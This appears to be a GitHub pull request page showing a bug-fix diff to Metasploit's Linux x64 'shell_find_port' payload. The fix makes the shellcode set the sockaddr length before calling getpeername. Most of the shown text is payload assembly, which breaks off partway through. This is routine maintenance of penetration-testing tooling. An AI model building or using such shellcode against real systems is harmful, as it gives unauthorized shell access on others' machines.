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Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value #11923

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merged 1 commit into from
Jun 29, 2019
Merged

Fix issue where Linux x64 shell_find_port did not set the sockaddr_len value #11923

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9 changes: 5 additions & 4 deletions modules/payloads/singles/linux/x64/shell_find_port.rb
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Original file line number Diff line number Diff line change
Expand Up @@ -9,7 +9,7 @@

module MetasploitModule

CachedSize = 91
CachedSize = 98

include Msf::Payload::Single
include Msf::Payload::Linux
Expand All @@ -29,16 +29,17 @@ def initialize(info = {})
{
'Offsets' =>
{
'CPORT' => [ 32, 'n' ],
'CPORT' => [ 39, 'n' ],
},

'Assembly' => %Q|
xor rdi,rdi
xor rbx,rbx
mov bl,0x14
mov bl,0x18
sub rsp,rbx
lea rdx,[rsp]
lea rsi,[rsp+4]
mov [rdx], 0x10
lea rsi,[rsp+8]
find_port:
push 0x34 ; getpeername
pop rax
Expand Down